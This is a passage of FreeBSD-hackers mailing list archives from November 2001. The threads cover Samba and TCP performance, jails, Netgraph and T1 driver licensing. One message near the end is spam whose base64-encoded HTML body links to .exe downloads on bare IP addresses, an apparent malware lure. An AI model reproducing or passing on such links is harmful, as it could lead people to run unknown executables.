freebsd-hackers@FreeBSD.ORG Subject: Re: A comparison of Samba performance on FreeBSD 4.3-RELEASE and Linux 2.4.13ac4 In-Reply-To: <3C072706.2030501@ns.aus.com> Date: Thu, 29 Nov 2001 22:57:14 -0800 From: Peter Wemm Message-Id: <20011130065714.B2C113808@overcee.netplex.com.au> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Richard Sharpe wrote: > attached is a preliminary report on a comparison of Samba performance on > FreeBSD 4.3-RELEASE and Linux 2.4.13ac4. Are you aware that 4.3-RELEASE has IDE drive write caching turned off by default? What was the Linux system configured with? 4.4-RELEASE has it back on again by default. Secondly, are you using a GENERIC kernel or a tuned kernel? GENERIC is quite unrealistic these days due to supporting the lowest possible cpu (i386). There is a significant amount of overhead to support this. We really need to ship with a number of different kernels and install the best-match at install time. I have noticed that linux distributions have been doing this for quite some time, and even go as far as installing different libc's depending on cpu type. You mentioned using fsync() vs fdatasync(). fsync() is pretty much the worst possible thing that you can do to a softupdates file system as it effectively negates all benefits of the dependency tracking, but still incurs the significant expense of doing the tracking and unwinding. I would be curious to know what things looked like without fsync/fdatasync (on both sides for fairness), and with a freebsd non-softupdates filesystem mounted in async mode for parity with linux's async ext2fs. I can't say that I'm too suprised with the results though. It is fairly well known that Linux's network stack generally has lower latency, and the SMB request-response type protocol (is it still lockstep these days?) tends to make this visible. Cheers, -Peter -- Peter Wemm - peter@FreeBSD.org; peter@yahoo-inc.com; peter@netplex.com.au "All of this is for nothing if we don't go to the stars" - JMS/B5 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Nov 29 23:16:55 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from hotmail.com (f120.law11.hotmail.com [64.4.17.120]) by hub.freebsd.org (Postfix) with ESMTP id 5C99537B405 for ; Thu, 29 Nov 2001 23:16:51 -0800 (PST) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Thu, 29 Nov 2001 23:16:51 -0800 Received: from 24.4.254.79 by lw11fd.law11.hotmail.msn.com with HTTP; Fri, 30 Nov 2001 07:16:50 GMT X-Originating-IP: [24.4.254.79] From: "Joesh Juphland" To: hackers@freebsd.org Subject: more on jail - suitable for multi user system ? Date: Fri, 30 Nov 2001 00:16:50 -0700 Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: X-OriginalArrivalTime: 30 Nov 2001 07:16:51.0046 (UTC) FILETIME=[FB2CB860:01C1796E] Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG One thing I would like to do as a hobby is start a classic multi-user unix system and giving out shell accounts to whoever wants one. Not a money maker, of course, but it would be fun. My question: does anyone have any comments on using `jail` in a public environment like this - that is, instead of giving away individual shell accounts, you would give away individual "jails" - basically a whole seperate machine with its own IP and own root access, etc. ? I am not asking about the commercial viability - it's just a hobby system. But in terms of limiting resources (so no one user bogs down the whole system) and in terms of security (nobody can turn rogue and bring down / compromise the system) is this a viable option ? Or is jail best kept to environments where the users are in-house (trusted) ? Another way of asking this would be, was jail developed for, and best used for, creating a safe area for daemons like httpd, or was it developed with running many full-blown independent systems on a single machine in mind ? _any_ comments appreciated. --joesh _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Nov 29 23:26:12 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from elvis.mu.org (elvis.mu.org [216.33.66.196]) by hub.freebsd.org (Postfix) with ESMTP id CCBD037B416 for ; Thu, 29 Nov 2001 23:26:08 -0800 (PST) Received: by elvis.mu.org (Postfix, from userid 1192) id 4C18781D06; Fri, 30 Nov 2001 01:26:03 -0600 (CST) Date: Fri, 30 Nov 2001 01:26:03 -0600 From: Alfred Perlstein To: Joesh Juphland Cc: hackers@freebsd.org Subject: Re: more on jail - suitable for multi user system ? Message-ID: <20011130012603.F46769@elvis.mu.org> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from part_lion@hotmail.com on Fri, Nov 30, 2001 at 12:16:50AM -0700 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG * Joesh Juphland [011130 01:17] wrote: > > One thing I would like to do as a hobby is start a classic multi-user unix > system and giving out shell accounts to whoever wants one. Not a money > maker, of course, but it would be fun. Jail will do pretty much what you want either for fun or profit, the only thing it doesn't do is quality of service. This means that if one jail starts pounding at the disks the other jails will feel the disk get sluggish. But there's other ways of limiting jails, you can use login.conf to limit user memory and dummynet to limit per-jail bandwidth. -- -Alfred Perlstein [alfred@freebsd.org] 'Instead of asking why a piece of software is using "1970s technology," start asking why software is ignoring 30 years of accumulated wisdom.' http://www.morons.org/rants/gpl-harmful.php3 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Nov 29 23:41:44 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from warez.scriptkiddie.org (uswest-dsl-142-38.cortland.com [209.162.142.38]) by hub.freebsd.org (Postfix) with ESMTP id 0BAA837B41C for ; Thu, 29 Nov 2001 23:41:43 -0800 (PST) Received: from [192.168.69.11] (unknown [192.168.69.11]) by warez.scriptkiddie.org (Postfix) with ESMTP id 9D72362D01 for ; Thu, 29 Nov 2001 23:41:42 -0800 (PST) Date: Thu, 29 Nov 2001 23:41:58 -0800 (PST) From: Lamont Granquist To: Subject: detecting linux emulation in rtld.c? In-Reply-To: <20011130012603.F46769@elvis.mu.org> Message-ID: <20011129233851.H40312-100000@coredump.scriptkiddie.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG can anyone suggest a method of determining inside libexec/rtld-elf/rtld.c if a binary being run is native or linux emulation? i'd like to be able to write code which basically does: if (IsNativeCode()) PreloadSomeLibraries() any suggestions? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Nov 30 0: 3: 0 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from cs.huji.ac.il (cs.huji.ac.il [132.65.16.10]) by hub.freebsd.org (Postfix) with ESMTP id 7807437B419 for ; Fri, 30 Nov 2001 00:02:58 -0800 (PST) Received: from pampa.cs.huji.ac.il ([132.65.80.32] ident=exim) by cs.huji.ac.il with esmtp (Exim 3.32 #1) id 169idM-0007dg-00 for hackers@freebsd.org; Fri, 30 Nov 2001 10:02:56 +0200 Received: from localhost ([127.0.0.1] helo=pampa.cs.huji.ac.il ident=danny) by pampa.cs.huji.ac.il with esmtp (Exim 3.22 #2) id 169idM-000CcC-00 for hackers@freebsd.org; Fri, 30 Nov 2001 10:02:56 +0200 X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 To: hackers@freebsd.org Subject: device major number Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Fri, 30 Nov 2001 10:02:56 +0200 From: Danny Braniss Message-Id: Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG stupid question, but could'nt (yet) find an answer, im writing a driver, so i need a major device number (for -stable), is there a list of assigned numbers, and if so where? what's the procedure to 'assigne' one? btw, the driver is for a video grabber, zrn36067 based. thanks, danny To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Nov 30 0:15:12 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from mail.freebsd-corp-net-guide.com (mail.freebsd-corp-net-guide.com [206.29.169.15]) by hub.freebsd.org (Postfix) with ESMTP id CD4E137B416; Fri, 30 Nov 2001 00:14:58 -0800 (PST) Received: from tedm.placo.com (nat-rtr.freebsd-corp-net-guide.com [206.29.168.154]) by mail.freebsd-corp-net-guide.com (8.11.1/8.11.1) with SMTP id fAU8EtR57263; Fri, 30 Nov 2001 00:14:55 -0800 (PST) (envelope-from tedm@toybox.placo.com) From: "Ted Mittelstaedt" To: Cc: , , Subject: RE: (no subject) Date: Fri, 30 Nov 2001 00:14:54 -0800 Message-ID: <000801c17977$17380160$1401a8c0@tedm.placo.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0 Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3155.0 In-Reply-To: <13f.5595ba1.293827ad@aol.com> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG >-----Original Message----- >From: Nyteckjobs@aol.com [mailto:Nyteckjobs@aol.com] >Sent: Thursday, November 29, 2001 4:07 PM >To: tedm@toybox.placo.com >Cc: freebsd-hackers@freebsd.org; freebsd-questions@freebsd.org; >freebsd-hackers@freebsd.org >Subject: Re: (no subject) > > >In a message dated 11/29/2001 7:16:17 AM Eastern Standard Time, >tedm@toybox.placo.com writes: > >> Well, let me give you something else to put in your pipe and smoke. :-) >> >> I've spent about $800 on a few WANic 4xx cards (used, I'll grant) >precisely >> because >> source for the driver is available. I happen to not use them with Frame >> circuits so >> I used the HDLC in the driver. >> >> I have spent $0.00 on ET cards precisely because the driver code is >> unavailable. >> >> Now, as I've never used ET cards, I'll take your statement at face value >> that >> their drivers are superior to the WANic one. >> But, I'm not going to pick a superior binary-only driver over an inferior >source-freely-available driver, if I have a choice. You may think this is >screwy but it's how I feel. > >You are entitled to your opinion, but you (and others) should explain that >when you are making "recommendations" because Im sure there are those that >actually think that you are recommending the best solution, which clearly >isnt the case. Most people prefer a boom-box to a crystal set, and those >reading your opinions don't understand that context. > But I do, as a matter of fact. The whole thread on the WANic that got fired up a month ago or so when they made their announcement that they were dumping the WANic 405 was centered around the fact that this was just one less synchronous serial interface card that had an open source driver available. I was not arguing that we should dump a lot of effort into a binary-only driver for the successor cards, the WANic 5xx series, I was arguing for disclosure of the registers for it. It was rapidly made clear by Imagestream that they were totally uninterested in going back to SDL, Rockwell and one other company I forget which and arguing for such disclosure. After that I suggested to some other people that got interested in it that a binary driver was possible under NDA, but I certainly wasn't advocating it by that statement. I happen to know that there's a Nokia developer somewhere working on a binary driver for the 5xx series and FreeBSD 2.2.8. But I cannot recommend WANic cards anymore because there's no guarentee that this driver will ever leave Nokia, or even be completed. And as far as other sync cards for FreeBSD, I have no experience with them and they are much more recent additions. As of now the ET cards have a compelling advantage over the rest of the sync cards for FreeBSD because they have more history of use under it. >I seem to remember reading in some book that the main advantage FreeBSD has >over linux is its corporate-friendly license (who wrote that thing >anyway?)...yet you bash the concept of using the license. It seems a bit >hypocritcal to me. > As a matter of fact, in that book your taking about, on page 193 it specifically list the Evergreen Technologies synchronous serial card along with the WANic as T1 interface cards into FreeBSD. And it also states on that same page that using a Cisco as a T1 interface router is "safer but more expensive" followed by a list of paragraphs that explain why the extra money is worth the hassle. Nowhere in there is any discussion or statement that the card and driver set that has the open source driver (ie: the WANic) is "better" than the card and driver that has a binary-only driver (ie: the ET card) Of course, all this was written before the bottom dropped out of the used router market, today you can get a 1601 and DSU for $400 and it's extremely difficult to justify use of a PC as a leaf-node router because it simply isn't as resistant to physical environmental stresses as a total hardware router with no moving parts. I still argue that anyone running BGP and multihoming T1's (which probably describes 3/4 of the smaller ISP's in the world) can get better performance at a lower price from a FreeBSD router with sync cards in it than the Cisco recommended solution (3660 or 7200 series or greater) But even the prices on used high-end Cisco gear are falling and it could be argued that this may not be true anymore. As far as the debate between an open source driver vs a closed source driver, I'll say this much about this issue in regards to T1 cards. Simply put the T1 interface hasn't changed in 20 years (probably a lot longer) and given the glacial pace of change of the US phone system, I expect that there will be T1's still being provisioned when I'm an old Grandpa with my beard down to my knees. I routinely purchase DSU's today on the seconds market for use with brand new T1 installs that have manufacture dates of the late 80's. I have a concern about the ET cards because if I bought an ET card today for use in a router I would expect to be able to use that card for another 20 years, or at least until the PCI slot is no longer available on PC hardware. Buying a card that has binary only drivers ties you to a specific version of the OS - what if something happens to ET? As far as I know about Evergreen Technologies, the source code for the drivers is not being held in Escrow by anyone. Thus if the main developer at ET gets hit by a bus tomorrow, the code dies with him, and the cards will never be able to be used in a future FreeBSD version. I'd feel a lot better about ET cards if there was a public statement on the website that in the event ET ceases to exist as an entity, or decides to stop supporting FreeBSD, that the FreeBSD driver source would be immediately donated to FreeBSD as open source. You might be surprised but at the ISP I work at we currently use a billing system called Billmax that was originally developed on FreeBSD. This system has part of it's code in binary-only. When I selected them as the accounting system to use several years ago, code escrow was a mandatory requirement by us and they happily complied. I'm not opposed to binary-only software on FreeBSD but there's a difference between companies that write software for FreeBSD and use binary-only releases to help preserve competitive advantage, and companies that just simply don't release source, period. It's quite possible to do controlled releases where you implement some new idea in a binary module and keep it binary for a few years, then when you have made your profit on it you open it up, because by then you have the next new idea implemented and are making your money off of that one. Ted Mittelstaedt tedm@toybox.placo.com Author of: The FreeBSD Corporate Networker's Guide Book website: http://www.freebsd-corp-net-guide.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Nov 30 0:54:47 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from mail.freebsd-corp-net-guide.com (mail.freebsd-corp-net-guide.com [206.29.169.15]) by hub.freebsd.org (Postfix) with ESMTP id 9F08537B41B; Fri, 30 Nov 2001 00:54:35 -0800 (PST) Received: from tedm.placo.com (nat-rtr.freebsd-corp-net-guide.com [206.29.168.154]) by mail.freebsd-corp-net-guide.com (8.11.1/8.11.1) with SMTP id fAU8sWR57360; Fri, 30 Nov 2001 00:54:32 -0800 (PST) (envelope-from tedm@toybox.placo.com) From: "Ted Mittelstaedt" To: , Cc: Subject: RE: Netgraph Date: Fri, 30 Nov 2001 00:54:32 -0800 Message-ID: <001201c1797c$a0b7f300$1401a8c0@tedm.placo.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0 Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3155.0 In-Reply-To: <10e.8fb0dc1.29383049@aol.com> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG >-----Original Message----- >From: owner-freebsd-questions@FreeBSD.ORG >[mailto:owner-freebsd-questions@FreeBSD.ORG]On Behalf Of >A180009977889@aol.com >Sent: Thursday, November 29, 2001 4:44 PM >To: hackers@FreeBSD.ORG >Cc: questions@FreeBSD.ORG >Subject: RE: Netgraph > > >"Lego" is a good analogy. The "usefulness" is not the point. Its great for >hackers, and terrible for the general technical population. It depends on >your goal, whether its to build an OS for hackers, or to gain widespread >acceptance for FreeBSD from the general technical public. Complicated, >unintuitive interfaces with a long learning curve are not generally accepted. > >DB > This is a myth, your greately underestimating the "general technical public" The general technical public has displayed a willingness to read instructions and follow directions (much different than the general computing public which is a different animal) If there is anything wrong with netgraph is that there's a lack of examples of setting up common configurations in the handbook, man pages, and other documents. Also, speaking as a writer, section 4 of the manual page on netgraph is extremely hard to digest, within the first paragraph alone they redefine the meaning of the words "graph", "node", "hook", and "edge" I understand it's because of the modularness of the software but this is a man page that needs to be a lot less abbreviated. But none of this matters to the general technical public because what most of those people do is find a FAQ that contains a recipe for what they want to be doing and follow that. Ted Mittelstaedt tedm@toybox.placo.com Author of: The FreeBSD Corporate Networker's Guide Book website: http://www.freebsd-corp-net-guide.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Nov 30 1:20:18 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from InterJet.elischer.org (c421509-a.pinol1.sfba.home.com [24.7.86.9]) by hub.freebsd.org (Postfix) with ESMTP id 81F6C37B416; Fri, 30 Nov 2001 01:20:14 -0800 (PST) Received: from localhost (localhost.elischer.org [127.0.0.1]) by InterJet.elischer.org (8.9.1a/8.9.1) with ESMTP id BAA24018; Fri, 30 Nov 2001 01:00:31 -0800 (PST) Date: Fri, 30 Nov 2001 01:00:30 -0800 (PST) From: Julian Elischer To: Ted Mittelstaedt Cc: A180009977889@aol.com, hackers@FreeBSD.ORG, questions@FreeBSD.ORG Subject: RE: Netgraph In-Reply-To: <001201c1797c$a0b7f300$1401a8c0@tedm.placo.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Fri, 30 Nov 2001, Ted Mittelstaedt wrote: > >-----Original Message----- > > If there is anything wrong with netgraph is that there's a lack of examples of > setting up common configurations in the handbook, man pages, and other > documents. /usr/share/examples/netgraph gives examples of some common configurations. > Also, speaking as a writer, section 4 of the manual page on netgraph is > extremely > hard to digest, within the first paragraph alone they redefine the meaning of > the words "graph", "node", "hook", and "edge" I understand it's because of > the modularness of the software but this is a man page that needs to be a lot > less > abbreviated. Suggestions welcome.. :-) > > But none of this matters to the general technical public because what most of > those people do is find a FAQ that contains a recipe for what they want to > be doing and follow that. > > > Ted Mittelstaedt tedm@toybox.placo.com > Author of: The FreeBSD Corporate Networker's Guide > Book website: http://www.freebsd-corp-net-guide.com > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-hackers" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Nov 30 1:44:22 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from mail.freebsd-corp-net-guide.com (mail.freebsd-corp-net-guide.com [206.29.169.15]) by hub.freebsd.org (Postfix) with ESMTP id B9D1137B41B; Fri, 30 Nov 2001 01:44:16 -0800 (PST) Received: from tedm.placo.com (nat-rtr.freebsd-corp-net-guide.com [206.29.168.154]) by mail.freebsd-corp-net-guide.com (8.11.1/8.11.1) with SMTP id fAU9i8R57475; Fri, 30 Nov 2001 01:44:08 -0800 (PST) (envelope-from tedm@toybox.placo.com) From: "Ted Mittelstaedt" To: "Julian Elischer" Cc: , , Subject: RE: Netgraph Date: Fri, 30 Nov 2001 01:44:08 -0800 Message-ID: <001601c17983$8e7fc760$1401a8c0@tedm.placo.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0 Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3155.0 In-Reply-To: Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG >-----Original Message----- >From: Julian Elischer [mailto:julian@elischer.org] >Sent: Friday, November 30, 2001 1:01 AM >To: Ted Mittelstaedt >Cc: A180009977889@aol.com; hackers@FreeBSD.ORG; questions@FreeBSD.ORG >Subject: RE: Netgraph > > > > >On Fri, 30 Nov 2001, Ted Mittelstaedt wrote: > >> >-----Original Message----- >> >> If there is anything wrong with netgraph is that there's a lack of >examples of >> setting up common configurations in the handbook, man pages, and other >> documents. > >/usr/share/examples/netgraph gives examples of some common >configurations. > Oh dang, I should have checked there. But really, this info needs to be in the ngctl man page. >> Also, speaking as a writer, section 4 of the manual page on netgraph is >> extremely >> hard to digest, within the first paragraph alone they redefine the >meaning of >> the words "graph", "node", "hook", and "edge" I understand it's because of >> the modularness of the software but this is a man page that needs >to be a lot >> less >> abbreviated. > >Suggestions welcome.. :-) > The biggest problem with those man pages is that they tell you exactly what the stuff does but not exactly why you would want to do it. I actually sent in a proposal to BSDcon to give a presentation on building network routers with FreeBSD, with a big D&P show of different systems tied together. Discussion of Netgraph would have been part of this of course and while I was writing that part I could have modified the man pages. But it wasn't picked up and I set it aside. Maybe sometime in the future I'll pick it up again. Ted Mittelstaedt tedm@toybox.placo.com Author of: The FreeBSD Corporate Networker's Guide Book website: http://www.freebsd-corp-net-guide.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Nov 30 2:12:13 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from fasterix.frmug.org (s196.dhcp212-198-75.noos.fr [212.198.75.196]) by hub.freebsd.org (Postfix) with ESMTP id 2703F37B416 for ; Fri, 30 Nov 2001 02:12:09 -0800 (PST) Received: (from pb@localhost) by fasterix.frmug.org (8.11.6/8.11.5/pb-20010814) id fAUABuW27707; Fri, 30 Nov 2001 11:11:56 +0100 (CET) (envelope-from pb) Message-ID: <20011130111156.A27621@fasterix.frmug.org> Date: Fri, 30 Nov 2001 11:11:56 +0100 From: Pierre Beyssac To: Leo Bicknell Cc: Josh Paetzel , jc@irbs.com, freebsd-hackers@FreeBSD.ORG Subject: Re: FreeBSD performing worse than Linux? References: <20011128153817.T61580@monorchid.lemis.com> <15364.38174.938500.946169@caddis.yogotech.com> <20011129004234.A16101@exuma.irbs.com> <20011130010354.A21307@fasterix.frmug.org> <20011129184414.F522@twincat.vladsempire.net> <20011130022547.A21889@fasterix.frmug.org> <20011129204225.A63957@ussenterprise.ufp.org> <20011130032345.A23415@fasterix.frmug.org> <20011129222809.A67159@ussenterprise.ufp.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.92.8i In-Reply-To: <20011129222809.A67159@ussenterprise.ufp.org>; from Leo Bicknell on Thu, Nov 29, 2001 at 10:28:09PM -0500 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Thu, Nov 29, 2001 at 10:28:09PM -0500, Leo Bicknell wrote: > > I can't reproduce this result, 16K fills a T1 for 11 ms, which is > > 22000 km (at 2/3 of light speed), enough to get halfway round the > > Your math is a little funny. Right, I knew there was something wrong somewhere :-) > 4000 km one way == 8000 km two way, 8000 / 168300 = 47ms in my book, > theoretial optimum. > > With an RTT of 47ms, you can move 16k per RTT, or or about 340k/sec. It's where I don't quite agree: for a bulk transfer, there is no RTT to account for, you only need to take into account the one-way delay, TCP does the rest for you assuming the window is large enough. Pierre To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Nov 30 2:22: 7 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id 5DE2C37B419 for ; Fri, 30 Nov 2001 02:22:05 -0800 (PST) Received: (from dillon@localhost) by apollo.backplane.com (8.11.6/8.9.1) id fAUAM1U09317; Fri, 30 Nov 2001 02:22:01 -0800 (PST) (envelope-from dillon) Date: Fri, 30 Nov 2001 02:22:01 -0800 (PST) From: Matthew Dillon Message-Id: <200111301022.fAUAM1U09317@apollo.backplane.com> To: John Vinters Cc: hackers@FreeBSD.ORG Subject: Re: FreeBSD performing worse than Linux? References: <3C052E84.3CF81084@jbg.co.uk> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG :I managed to track the problem down to the duplex settings on both the :Ethernet cards (AT-2500 TX, Realtek 8139 based, AFAIK) and the 10/100 :Switch. Forcing both the cards and the switch to particular settings :cured the problem, and lead to a massive performance increase. : :FTP seems to be particularly badly affected by the constant collisions :(causing backoff). The problem can be tricky to find as the switch :wasn't perceptably showing collisions on the collision LED, but viewing :the switch stats showed a different story! It probably wasn't collision backoff. It was probably packet loss due to the switch and the host getting confused over the duplex setting. i.e. where the switch thought it was one thing and the host thought it was another. The usual solution to this sort of switch/host confusion is to turn off autonegotiation on both sides and hardwire the duplex to full. On both sides. I've occassionally had similar problems (not in the last year or two, though... but definitely with older cards and switches). -Matt :I've noticed similar problems with Linux and certain cards (it was a :while ago). : :John Vinters : To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Nov 30 2:30:45 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id CCA4337B416; Fri, 30 Nov 2001 02:30:39 -0800 (PST) Received: (from dillon@localhost) by apollo.backplane.com (8.11.6/8.9.1) id fAUAUUS09410; Fri, 30 Nov 2001 02:30:30 -0800 (PST) (envelope-from dillon) Date: Fri, 30 Nov 2001 02:30:30 -0800 (PST) From: Matthew Dillon Message-Id: <200111301030.fAUAUUS09410@apollo.backplane.com> To: David Malone Cc: Nate Williams , Greg Lehey , developers@FreeBSD.ORG, FreeBSD Hackers Subject: Re: FreeBSD performing worse than Linux? References: <20011128153817.T61580@monorchid.lemis.com> <15364.38174.938500.946169@caddis.yogotech.com> <20011128104629.A43642@walton.maths.tcd.ie> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG :> FWIW, I'm seeing this as well. However, this appears to be a new :> occurance, as we were using a FreeBSD 3.X system for our reference test :> platform. : :Someone recently submitted a PR about TCP based NFS being significantly :slower under 4.X. I wonder if it could be related? : : http://www.freebsd.org/cgi/query-pr.cgi?pr=misc/32141 : :There is quite a lot of detail in the PR and the submitter has no :trouble reproducing the problem. : : David. Hmm. I'll play with it a bit tomorrow. Er, later today. One thing I noticed recently with NFS/TCP is that I have to run 'nfsiod -n 4' on the client to get reasonable TCP performance. I don't think I had to do that before. It sure sounds similar... like a delayed-ack problem or improper transmit side backoff. It would be nice if someone able to reproduce the problem can test the TCP connection with newreno turned off (net.inet.tcp.newreno) and delayed acks turned off (net.inet.tcp.delayed_ack). If that fixes the proble it narrows down our search considerably. -Matt Matthew Dillon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Nov 30 2:33:32 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from hi.net (tc72-74.dialup.seed.net.tw [210.244.72.74]) by hub.freebsd.org (Postfix) with SMTP id 5CD8637B405; Fri, 30 Nov 2001 02:33:25 -0800 (PST) From: TL7uLkkL@tpts7.seed.net.tw To: DfZcMm2bpJkZ9@mars.seed.net.tw Subject: J8sVs8N17IWwwDjBCdUj vWWoDdEQlrmoA8756B5pjCjfn MIME-Version: 1.0 Content-Type: multipart/related; type="multipart/alternative"; boundary="----=_NextPart_0A5BY3hEVsV3Q8GEpJCwBNCh" X-Mailer: nssGOg2oOIIsj3OBmKOYC5TgjWxt X-Priority: 3 X-MSMail-Priority: Normal Message-Id: <20011130103325.5CD8637B405@hub.freebsd.org> Date: Fri, 30 Nov 2001 02:33:25 -0800 (PST) Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. ------=_NextPart_0A5BY3hEVsV3Q8GEpJCwBNCh Content-Type: multipart/alternative; boundary="----=_NextPart_0A5BY3hEVsV3Q8GEpJCwBNChAA" ------=_NextPart_0A5BY3hEVsV3Q8GEpJCwBNChAA Content-Type: text/html; charset="big5" Content-Transfer-Encoding: base64 PGZvbnQgc2l6ZT02Pg0KPGhyPjxhIGhyZWY9aHR0cDovLzIxMC42NC4xODQuMTk0L6RKt3y7oan6 wMkuZXhlPqV4xle0q6lkrdG81rOhpEq3fLuhqfrAyQ0KPC9hPjxocj4NCjxhIGhyZWY9aHR0cDov LzIxMC42NC4xODQuMjAzL7PMt3O4yamrpdi//S5leGU+wsWk0bjJqaukdadAq8ezzLdzpfq60KXY v/0NCjwvYT48aHI+ ------=_NextPart_0A5BY3hEVsV3Q8GEpJCwBNChAA-- ------=_NextPart_0A5BY3hEVsV3Q8GEpJCwBNCh-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Nov 30 2:35:38 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from whale.sunbay.crimea.ua (whale.sunbay.crimea.ua [212.110.138.65]) by hub.freebsd.org (Postfix) with ESMTP id CD62437B41D; Fri, 30 Nov 2001 02:35:16 -0800 (PST) Received: (from ru@localhost) by 